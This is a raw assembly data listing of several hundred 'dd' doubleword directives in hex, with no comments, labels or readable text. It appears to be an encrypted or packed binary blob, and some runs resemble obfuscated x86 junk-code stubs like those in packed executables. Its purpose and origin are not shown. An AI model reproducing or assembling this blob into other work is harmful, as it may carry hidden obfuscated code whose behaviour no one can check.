dd 73F4D346h, 0D366FFA6h, 0F0707C9Eh, 73F4D22Fh, 0D36EFF6Ch
dd 0F0707CFBh, 73F4D37Ah, 0D36AFF35h, 0F0707C57h, 73F4D337h
dd 0D366FF1Eh, 0F0707CC2h, 73F4D3B7h, 0D356FF7Bh, 0F0707C70h
dd 73F4D3CDh, 0D352FFD7h, 0F0707C26h, 73F4D303h, 0D34EFF42h
dd 0F0707CECh, 73F4D32Fh, 0D362FFF0h, 0F0707CB5h, 73F4D04Ah
dd 0D35EFFA6h, 0F0707C9Eh, 73F4D064h, 0D35AFF6Ch, 0F0767CFBh
dd 73FE4B14h, 0D309FF35h, 0F0767C57h, 73FE533Eh, 0D305FF1Eh
dd 0B69C7CC2h, 9D11F1B0h, 75FD7AF2h, 7D17FB23h, 25FB7314h
dd 0FDF53FD5h, 7C5B89ADh, 0B7342291h, 23AC7ACFh, 20AD29B7h
dd 75FD7A1Ah, 987C2779h, 73F4D295h, 0D387FFA0h, 0C87D7C26h
dd 73F4DCEDh, 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 0D305EF86h
dd 0FEBD7CB5h, 7A452B96h, 8AFD7A2Fh, 7C5B8202h, 0E48F7CDh
dd 0F8FB7343h, 9D50FCC6h, 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh
dd 7C5B82BAh, 0E48F791h, 0F8FB736Dh, 8A50FCD1h, 0BC1F2322h
dd 0D387F787h, 2DA07CB5h, 2CA32005h, 776D92ECh, 0CD4D7A97h
dd 8A5779C1h, 7C5B8E70h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh
dd 0DE9B5954h, 0D309EFD0h, 0DE9B7C9Eh, 77959208h, 360B7AE5h
dd 6E8872F3h, 0D309EF86h, 0C54D7CB5h, 8AAD7954h, 7C5B8EBAh
dd 0F69B2091h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h
dd 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h, 0FE4DBA07h
dd 9D3ED183h, 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h
dd 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh, 75FF7B1Ah
dd 360B2079h, 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h
dd 0FF4DBA07h, 816885B5h, 2FFB7354h, 51FD5F1Fh, 133F71DAh
dd 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h
dd 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h
dd 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h
dd 75FD7BB6h, 0B657E7EEh, 9D57E69Fh, 75FD7A69h, 75FCF323h
dd 74BE8CE5h, 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh
dd 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 0D305EF0Dh
dd 0C0707C70h, 73F4DC03h, 7F518A5Dh, 0E002D02Ch, 73F4DC63h
dd 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h
dd 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h, 8BE19261h, 0CD9B851Ah
dd 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh
dd 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h
dd 75059243h, 2D4D7A5Eh, 0B6577925h, 0D38CFF69h, 0C87D7CC2h
dd 73F4DC94h, 0F8EC0FF3h, 7C5B99FCh, 61152ABAh, 9DFD7A5Ch
dd 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh
dd 0D38CF787h, 0C87D7CB5h, 73F4DC2Fh, 0F8F10F2Fh, 7C5B9912h
dd 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah, 8D688579h, 0F8FB731Ah
dd 7C563AC3h, 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh
dd 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 7C5B8ECBh, 514ACE29h
dd 0C1FF0E96h, 13F2CA74h, 75C9924Eh, 9DAE7AF2h, 75FD7A27h
dd 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 0D309EF68h, 917D7CC2h
dd 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h
dd 0FCF992ACh, 7345B995h, 8AFD7ACBh, 7C5B8270h, 0A260F7F4h
dd 0F8FB73DFh, 0CD3E39A0h, 75FD7A4Eh, 0D305EFD0h, 0B57E7C9Eh
dd 8935F1CEh, 0D309EF1Ah, 97577CFBh, 0BE15B98Eh, 0FF028543h
dd 72D97B1Dh, 76778E5Ah, 75FC6C7Fh, 0B61608CBh, 8908831Dh
dd 0F611F1A7h
dd 9D9D86BDh, 75FD7ABCh, 2517FB04h, 0FCFB7384h, 0CF7D86EAh
dd 73F4DC38h, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h, 0D305E843h
dd 0FCBD7C57h, 7C5B86ADh, 0F835F191h, 7C515E79h, 816F85E3h
dd 0FDFB7354h, 801F3C7Fh, 75FD6D04h, 897F795Eh, 35FB7389h
dd 0D9E5E01Ah, 0B67E7CC2h, 22FEF3E1h, 75FD644Bh, 89777979h
dd 0F8FB731Ah, 7C517CECh, 2B598929h, 75FD722Fh, 8D6F85CBh
dd 0F6FB7343h, 85897E0Ah, 72447C71h, 7DFD7ABCh, 0C3F24B5Ah
dd 761EBBF7h, 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h
dd 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh
dd 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch
dd 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h
dd 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h, 2FFD7A2Fh
dd 0D9CA9016h, 0CF707CC2h, 73F4DDE5h, 0CCF50F79h, 75FD7A71h
dd 0BC9CDE4Fh, 26FD7E9Ch, 0D2FDE7A2h, 497D7C9Eh, 71887BD3h
dd 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh, 517FB04h
dd 0F8FB7383h, 7C5A7A25h, 7D80F1CDh, 75FD725Ch, 145989F2h
dd 75F9B8B0h, 7540F7DCh, 46FB73F9h, 75F5C3EFh, 0DF0E7A97h
dd 0F89DB9AAh, 7C5A7A58h, 74C2FBF4h, 0FC7B78h, 7182FBB0h
dd 74FC7B5Fh, 9E04795Ah, 0B69C8296h, 7540F7ABh, 0CDFB7342h
dd 75FD7AF3h, 75FD72C0h, 145789BCh, 0FE3DF19Dh, 7878F7EFh
dd 8AFB7330h, 0E8CA8BD0h, 0Dh, 2B2E55EDh, 786E8808h, 4149BD9Eh
dd 3F69BFCAh, 805E5219h, 0C681D1CDh, 6570h, 0DE9h, 1614200h
dd 75C32409h, 412D0E50h, 4BBAE646h, 813E77E7h, 77CE1DEAh
dd 10E93Eh, 0F8320000h, 300E7D04h, 54862672h, 0C8C08C10h
dd 36FF8571h, 6E9h, 0B8C65A00h, 5BF95F61h, 6E9h, 3A39FA00h
dd 818F680Bh, 0E02C84EBh, 0BCB9662Bh, 0DAF38179h, 0F37599Fh
dd 1282h, 0BE95100h, 9000000h, 637AF033h, 85336C8Eh, 815FE246h
dd 0F96DEAC3h, 8E95232h, 92000000h, 43CEE89Bh, 5891BDB6h
dd 0BF0F1E89h, 4EE83FBh, 1850Fh, 4AF50000h, 0FF94850Fh
dd 0FA8BFFFFh, 0C97ACAFEh, 41F9A80Bh, 0CE418A4Fh, 0D5ABA80Bh
dd 0CE1975EAh, 46E7A80Bh, 5DBA8A4Fh, 475C57AEh, 0CF098A4Fh
dd 0D5ABA80Bh, 0CFD075EAh, 4782A80Bh, 0CC528A4Fh, 440CA80Bh
dd 0CCD48A4Fh, 0D5ABA80Bh, 2F2575EAh, 23FA63D4h, 0C00313h
dd 0A752A1FCh, 0ABEAB390h, 8CD12157h, 2F4383B8h, 23FB38D4h
dd 8C00313h, 0A752A1FCh, 0ABEA6290h, 98D12157h, 2F4383B8h
dd 23E497D4h, 14C00313h, 0A752A1FCh, 0ABF51E90h, 94D12157h
dd 2F4383B8h, 23E470D4h, 60C00313h, 0A752A1FCh, 0ABF4AB90h
dd 0E0D12157h, 2F4383B8h, 23E5CAD4h, 6CC00313h, 0A752A1FCh
dd 0ABF42990h, 0F8D12157h, 2F4383B8h, 23E54CD4h, 74C00313h
dd 0A752A1FCh, 0ABF79790h, 0F0D12157h, 0C34383B8h, 2A5012B8h
dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A44C2490h
dd 2AA8ED96h, 29458A15h, 0E367A024h, 0ADBAB496h, 2A54A1D5h
dd 64C6CB15h, 0D5BA4155h, 63CE75EAh, 3453AAEh, 42848C16h
dd 2211AB53h, 5D55FFEAh, 3AABA424h, 0C3B9CF9Ch, 0E3A8EDDAh
dd 0F74586D7h, 0EED744DAh, 0D7CEEAE9h, 26292359h, 0A2B9CFD2h
dd 6C54A851h, 0A24162ADh, 0EA660351h, 2FEE27BFh, 23FCB6DBh
dd 12947513h, 0A0D90201h, 0A44C220Bh, 0A1EC79AEh, 941AE51h
dd 824A22DCh, 73BA8C1Ch, 2ADF1037h, 28C82173h, 2C5D004Fh
dd 2BFD5BEAh, 81508C15h, 0A5B0098h, 0FBABAE58h, 89EFD2A5h
dd 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h, 4AA86CD2h
dd 0A2458AFDh, 0C0D5F251h, 0A44C2550h, 0A15CDDDAh, 0E7828668h
dd 2A54A8ADh, 30BACC15h, 2C57993Ch, 69CE529Eh, 0B99783FCh
dd 31EFE2A5h, 0A0D9F9FAh, 0A44C220Bh, 9A0D79AEh, 1A232094h
dd 81328C55h, 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h
dd 21A90140h, 0C2345495h, 0A2458A15h, 0B6BE290Bh, 294383BAh
dd 57DFA024h, 5E004D19h, 2A54A851h, 0CFD77553h, 0A152AB60h
dd 69CE19CDh, 0B9979BFCh, 31EFE2A5h, 0A0D9F9FAh, 0A44C220Bh
dd 9A0D79AEh, 1A232094h, 81328C65h, 0DF6E2184h, 0D629215Dh
dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h
dd 0D6116F5Dh, 0A2458A15h, 0C9953BFDh, 9197B91Dh, 0F2DE0491h
dd 0A2454A38h, 0D5A82851h, 0A25E0E1Ah, 23EDA851h, 55458A15h
dd 25862DA0h, 0A2458690h, 32A32851h, 0AA8E4B73h, 4C972337h
dd 0AE38A1BEh, 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h, 66C6669Eh
dd 5FDFC8ADh, 0AE38011Dh, 2AA8ED96h, 0E458A15h, 22B769C2h
dd 62765826h, 78C22FDh, 0A2458AD5h, 25AB54D1h, 0A2459391h
dd 2A5D1151h, 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h
dd 91EF4B93h, 577F0391h, 5E380319h, 0D6112330h, 0A24D48DCh
dd 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h
dd 229D00B9h, 0E1D4A7B2h, 8860085h, 824A22DCh, 73BA8C1Ch
dd 0A7FEF8E1h, 0ABED949Fh, 0A0855757h, 0DF6E20D6h, 0D629215Dh
dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h
dd 0D6116F5Dh, 0A2458A15h, 2A54AFE9h, 0B3D77515h, 2652AB78h
dd 28C82045h, 2C5D004Fh, 2BF55BEAh, 86949BFBh, 622E8531h
dd 8050AC59h, 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh
dd 4ECEDF15h, 4AA86CD2h, 294DFF9Eh, 6F93A42Ch, 0A2458AE9h
dd 0D5FE0451h, 0A174E787h, 868C2357h, 2FEF4917h, 23FCB6DBh
dd 0C4947513h, 4CBD28E9h, 88600BEh, 0A358D57Ah, 29247668h
dd 0E89D5414h, 29108A1Dh, 0D6902BBDh, 0AA300175h, 0ED58D5DAh
dd 0A2457650h, 80F8A851h, 932818EAh, 0E2DFAE52h, 88558B9h
dd 824A32DCh, 71BA8C1Ch, 0E3941037h, 63CF2173h, 262983FBh
dd 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h, 0EED744DAh, 0D7CEEAE9h
dd 26292359h, 0A2B9CFD2h, 8654A851h, 0CFD775BFh, 0A152AB60h
dd 637726DDh, 34CE25FBh, 5D4383BDh, 0AAECCE82h, 28EEECE4h
dd 577F0290h, 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h
dd 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h, 6B773273h
dd 0B0D90337h, 0A44C220Bh, 92327BAEh, 9234B95h, 1FE04FDh
dd 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h
dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h
dd 0ABED948Fh, 9A875757h, 0E0320A0h, 34CE25FBh, 5D4383BDh
dd 0ACECCE82h, 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh
dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A44C3878h
dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh
dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h
dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh
dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 88CE2559h, 0F14383B8h
dd 842D32DCh, 71BA8C1Ch, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh
dd 38C88260h, 2C5D05E3h, 0DBDF0746h, 0D552A1FFh, 5E0003C6h
dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 0ABE8348Fh, 0B0D9FB57h
dd 0A44C246Ch, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h
dd 879E32DCh, 2F168C1Ch, 23FAD1CBh, 2B967513h, 2ABD5414h
dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 16EBh, 4 dup(0)
dd 1010000h, 40Ch, 9D290609h, 60324E1h, 158B0F50h, 0E9000000h
dd 10h, 15836BB0h, 84B6A87Bh, 989813DDh, 654353E7h, 6A240489h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 88E3C356h, 0AE4F0AE3h, 6AAF6B2Ch, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 2EDC874Eh, 7088E181h, 0FF5369Ch, 6AD6BFh, 9FE8B66h
dd 31F6DB5h, 40858D06h, 6A0609B4h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 0F2DBC350h
dd 0B0B9665Eh, 0B760506Fh, 613DB7DBh, 60240489h, 41F48060h
dd 80615851h, 0F86125E7h, 8D89006Ah, 6031E69h, 9533006Ah
dd 6030441h, 1ACD9D89h, 95FF0603h, 6030CC9h, 51EF8166h
dd 0D78B6690h, 688E9h, 0FE8B6600h, 0E8h, 0ED815D00h, 609B445h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C0C35545h
dd 46A6A4FDh, 6AD5164Dh, 458D8B0Ch, 106031Bh, 305C995h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 1C646C59h, 0DDD4E703h, 43126823h, 8B60585Dh
dd 4CB060D6h, 7879B866h, 34816161h, 5D4CB224h, 51006A58h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 6762ED2Fh, 8166F22Ch, 0F843EF3h, 95FFCEBFh, 6031FB9h
dd 158A0Fh, 10E90000h, 3A000000h, 97B82C15h, 3F826910h
dd 1FF4F5ACh, 8D1F313Ah, 9B33AB5h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0BBEAB57Ah
dd 5CE7FB9Ch, 0F781665Ch, 6C7CC31h, 6D676552h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0E2C35545h, 8B0B3B56h
dd 446C708h, 6C636E6Fh, 20258D2Bh, 46C70603h, 73736108h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 0CF10AD2Dh, 8982B582h, 309298Dh, 6A006A06h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 0B815C355h, 4236FF46h, 8B66F86Fh, 3A858DD1h
dd 6A0609B3h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 9B35C350h, 0B004CD05h, 0F281781Ah
dd 1DA6C98Bh, 13E890h, 0EED60000h, 3AAF936Ch, 0AC54B2A1h
dd 82D82538h, 1F581198h, 5E83Eh, 80FF0000h, 6644681Ah
dd 5959D98Bh, 90F88A50h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Bh, 0FDC35747h, 0B6660DF9h, 8136C0BAh, 0FCE568E1h
dd 0BA66561Ah, 0FF5B2573h, 313E195h, 0C00BF806h, 56840Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 0D1102FC3h, 0BD8BD85Bh, 6032999h, 409E9h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 389F2B33h, 0FC394DEh, 9529F9BFh, 6031C75h
dd 84CD8068h, 8B6060E8h, 525061CBh, 310FCB8Bh, 28E031B9h
dd 61585A63h, 0AC240481h, 6A177B33h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 49C1C353h
dd 0FC33B55Dh, 0BD8B846Eh, 60313FDh, 1FB995FFh, 6A0603h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 2238E3C3h, 61E1405Dh, 0B58D1266h, 609B33Ah, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0B8C35747h, 9CCF4ABBh
dd 6C7C2B6h, 36343831h, 0D1816656h, 0F95F11D0h, 370446C7h
dd 6A31342Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 6CC9C356h, 59FCF4F4h, 0F8769D68h
dd 846C7h, 0F000000h, 6AD9BFh, 8D7AED80h, 9B33A85h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 90F98AF4h, 43FAB966h, 17DFBB50h, 0F905F9Dh, 386h, 5BF85300h
dd 13E195FFh, 0BF660603h, 0B589D402h, 603280Dh, 840FC00Bh
dd 3Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah
dd 12C35141h, 92F0F99h, 8B66486Ah, 280E9D6h, 0AE90000h
dd 6F000000h, 0BD72B164h, 137EFBF5h, 4E8F933h, 2C000000h
dd 0E9000001h, 0Fh, 295E258Eh, 2DD16AB8h, 6E04531Ah, 5047413Ch
dd 0EE8h, 4B727F00h, 0F5ED6889h, 0B3C5FFABh, 665198C2h
dd 5B1173BBh, 424448Bh, 12E8h, 1E6CEB00h, 1A90C9FBh, 81665E58h
dd 0D1809CF2h, 0BF4C526Bh, 54EA2446h, 0F008B5Ah, 1B8Bh
dd 13E800h, 0A0000000h, 9F94CA40h, 0C75106EBh, 0CA117A0Eh
dd 7D09580Bh, 5F6160A1h, 4244489h, 48F0Fh, 0B9660000h
dd 6A58416Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 1710C356h, 0AF51FEEBh, 0FFC8BF0Fh
dd 31FB995h, 819D8B06h, 8D060312h, 9B33AB5h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 0DDA338CAh, 0F7EB0E8h, 281h, 0FD18B00h, 38Fh, 0D08B6600h
dd 694606C7h, 6A656Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 1DC3CCC3h, 1800Fh, 0C7F50000h, 6F6D0446h
dd 0F3BF636Eh, 0C7569039h, 616C0846h, 6A7373h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 0A38A66C3h, 6DBB2177h, 418D8B85h, 0C7060306h, 0C46h
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 0FF170C3h, 0DE8D017h, 87000000h, 0DD14DA36h
dd 30C8C9E3h, 98A4BFECh, 0EE950h, 5B100000h, 3A3A8E09h
dd 0C1A2770Eh, 628EA13Eh, 6A5F59h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 78C35242h, 0C187F9D7h, 6E929h
dd 374D0000h, 11F76C32h, 8DFE8B66h, 9B33A85h, 3BD58006h
dd 0FE850h, 0A98B0000h, 0A948819Ch, 466CD383h, 3462C8BBh
dd 5FD68BE8h, 66240489h, 0FF506DB9h, 313E195h, 0D58D8B06h
dd 0B060312h, 30840FC0h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 8BD9C356h
dd 0FE9BD29h, 33E90603h, 0BB000000h, 65CB7F85h, 0E9B3D380h
dd 0FFFFF9DCh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 19h, 0BCC35747h, 7C52FB89h, 0CA81662Ch, 0B58DAB29h
dd 6037287h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 0DCC35343h, 1C7D8D8Bh, 0B80603h, 1000000h, 323F98Dh
dd 8BE6FF06h, 30201BDh, 8DC18B06h, 9BBF68Dh, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 8D89503Ch, 60331D1h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 68C35141h, 0CFA4840Fh, 0E59D89D6h, 0C7060305h
dd 301E185h, 5DA806h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 1285F740h, 0E67FCD8Eh
dd 1D85BD29h, 8E90603h
dd 72000000h, 2721AB47h, 0C75EA79Ch, 321BD85h, 6, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 8D2A7DC8h, 8B72BFCAh, 830F5071h, 5, 0A9A09BBEh, 8501580Dh
dd 60313EDh, 51858950h, 5A060301h, 1375B5FFh, 6A0603h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 84E4B2C3h, 0EEB6B2DBh, 8D89530Ch, 6033079h, 9195FF5Ah
dd 0E8060326h, 0Ch, 0AF7510D3h, 0C93A870Ch, 20F2BDB1h
dd 1D55B531h, 6A5E0603h, 0B995FF00h, 8B06031Fh, 0AB2CEBC0h
dd 90A37D43h, 4591AD94h, 4282AA23h, 0BAF0A43h, 60F0194Fh
dd 0DAFE3269h, 0ABACB5CCh, 0B12FE754h, 8D9C552Bh, 7F78059Ch
dd 0E9CC93BBh, 2Ah, 2404C7h, 0E8000000h, 0
dd 38ED815Dh, 8B0609BCh, 89042444h, 3221585h, 0B806h, 8D8D0000h
dd 6034D1Ch, 54B8E1FFh, 8D000067h, 3136D9Dh, 1434B806h
dd 85890000h, 6030429h, 0E8h, 0D055800h, 89000000h, 1434E903h
dd 50Dh dup(0)
dd 3BE90000h, 60000000h, 2F41BD8Bh, 0EF830603h, 8BC93304h
dd 8320BBC1h, 0C783EDB8h, 8BE04h, 0E8D10000h, 0D323D21Bh
dd 0F4EC233h, 0FFFFF185h, 78941FFh, 100F981h, 820F0000h
dd 0FFFFFFD3h, 0C88BC361h, 0A3E9h, 0BF40D300h, 32B74429h
dd 9C25CB5Eh, 6C9165C8h, 0FF049578h, 8EDC1BE9h, 398CC0E9h
dd 0AD305459h, 0D3A62ACFh, 8CD5BB3Ch, 20A53E0Ah, 691B7105h
dd 45422A8Ah, 0D5830B5h, 3AA926A6h, 813FAD52h, 0E6E50EECh
dd 0EEFBED12h, 5A2A3A12h, 0E283ABD6h, 3C0CE811h, 7750E287h
dd 939CD70Ch, 7C015C77h, 3437750h, 0F2000000h, 472A8003h
dd 0B45B26A6h, 26F45933h, 9266CB9Dh, 1967B6Dh, 6C0D90F8h
dd 0D4B80547h, 42D4B9D3h, 0B1422FB9h, 680B4008h, 609D0F9h
dd 0F9ABD4E9h, 3BAEA4FFh, 5E1E9963h, 591EDECh, 9D187B8h
dd 0E8C50306h, 5, 9974702Fh, 0AE949h, 0F63C0000h, 0D487162Fh
dd 0FBCB253Dh, 0FFB70F5Eh, 5D9AC681h, 35680000h, 0F000017h
dd 89h, 0FE95B00h, 53000000h, 11992CA4h, 3291106Fh, 3C5E6EB6h
dd 0E8BBD51h, 7E9h, 929F8500h, 8289D57Fh, 4868C181h, 0D18B0AEAh
dd 0E091E981h, 8B00319h, 367AF181h, 890F1694h, 2, 0F51C18Bh
dd 68FC2B7h, 3840Fh, 0E6800000h, 0EAEE81DEh, 8A460638h
dd 0E6C681D0h, 0E9460638h, 13h, 936BA091h, 647E7BCh, 1B0F4575h
dd 63FA0301h, 4BD03E0Eh, 17850Fh, 0F2810000h, 332EC281h
dd 19E9h, 0E3DDF00h, 162CFF0h, 20A6A684h, 0FF7CE964h, 65A2FFFFh
dd 0E49AD743h, 4EB13ECh, 5F156B4Bh, 0D6CE9h, 0D45C6800h
dd 0DEE90609h, 68FFF9AAh, 609D556h, 0F9AAD4E9h, 0D63D68FFh
dd 0CAE90609h, 68FFF9AAh, 609D70Dh, 0F9AAC0E9h, 0DA7D68FFh
dd 0B6E90609h, 68FFF9AAh, 609DD67h, 0F9AAACE9h, 0DE7568FFh
dd 0A2E90609h, 0E9FFF9AAh, 12E7E50Ah, 81147881h, 3386CAEFh
dd 0A3365A5Bh, 0CDA725CEh, 0EB34412h, 8223F75Ah, 10997BCEh
dd 0E106E97Ch, 74D4D2E3h, 71051EDBh, 2ADC9F21h, 0CB14445h
dd 0D54EDA5Ch, 2B770EF0h, 24AD1BCh, 9F24F194h, 0C7812AC8h
dd 0B1432682h, 94B46E08h, 770EF0FBh, 4A1E9A41h, 525739CCh
dd 66D1AF3Ah, 45E59D1Bh, 75120CD3h, 11967A49h, 7719EC8Ah
dd 757E1F72h, 92FA7613h, 0BC4CD4Ah, 0B1E55B71h, 6A229DA7h
dd 0FC4C0693h, 710BCC63h, 0A4B632D9h, 20h, 6785F0D7h, 0D0DFF4Bh
dd 54037512h, 0C46FEC34h, 87BD710Bh, 263F4553h, 738936Ah
dd 0BB000000h, 8E25Ah, 432AD900h, 4CDCB45Ah, 770EF0D3h
dd 48D7A229h, 0D5DABD00h, 6F8DF8B7h, 21F753h, 0C89F7512h
dd 0E0DB7880h, 0EB29710Bh, 3DABB1A7h, 34A4936Ah, 0D7000000h
dd 4B6785F0h, 11FF4DFFh, 7414C375h, 0BDF2FACh, 833DFD71h
dd 0BDF2EA7h, 69C79271h, 0D170155h, 96936A41h, 906122F7h
dd 99CC9C6Bh, 0C93923h, 1BA0000h, 8D6B8C6Ch, 0F89015F8h
dd 437F8415h, 0A12BD0A2h, 5D204824h, 0E87D35BAh, 7E173305h
dd 0C2770EF0h, 5C2C8817h, 0CB991EF1h, 0EF54623h, 0D6D7BE77h
dd 0A7482FB2h, 0F9F78225h, 9C811EC1h, 959DD2E2h, 5FC9611Fh
dd 0DD75119Bh, 0FB9D700Eh, 59167AF6h, 52F6B02Eh, 6F093024h
dd 0F1ABC792h, 82FC059h, 0D3A93C77h, 9A1FF095h, 658E63F6h
dd 0D94BD04Ah, 0EC6109E6h, 0AEFh, 4E02A376h, 0F3911AFBh
dd 6D63886Eh, 9DF3F498h, 0E426708h, 4C2D79A4h, 0BC5C21A7h
dd 32C0553Bh, 9F76DB89h, 6F2B4A1Eh, 51C42DBh, 6D0EBE71h
dd 2BC452Ah, 93699263h, 62836AFFh, 41EFB06Eh, 73B9A04Ch
dd 39D27630h, 87770E23h, 0F0DF54D0h, 884B6785h, 990940B8h
dd 0A1462A33h, 0C2E3B7DAh, 6E002866h, 0EC7511D7h, 82CAEF81h
dd 0C81078C7h, 710BB74Bh, 0FDEF14E5h, 13757E10h, 0B6005468h
dd 0BED31EFh, 936A18F1h, 0CCEEh, 432A0900h, 0B2472AA2h
dd 0BAB75F09h, 0CA770EF5h, 50CE8223h, 0CA4D6B8Fh, 61DF19ACh
dd 0B397690Ch, 770EEF1Ah, 6464F366h, 0FCBA3843h, 67618669h
dd 0EC88662h, 0EE5BF454h, 3AA1770Eh, 46EBEh, 0A35D7512h
dd 0BDC0E87h, 9E77271h, 802FBD28h, 6FBBF7F5h, 6F097772h
dd 8E5F1BCEh, 398CC0E9h, 10105358h, 0DDE6D932h, 9F5D00Dh
dd 9D7C0000h, 14E17418h, 8214F9EFh, 0EE866B79h, 61369BC9h
dd 7FBE3458h, 2FBD462Bh, 5331B65Ah, 0C1872CCEh, 7014997Ch
dd 48C16921h, 0B471051Bh, 452A6704h, 0DD9C8276h, 10E3B439h
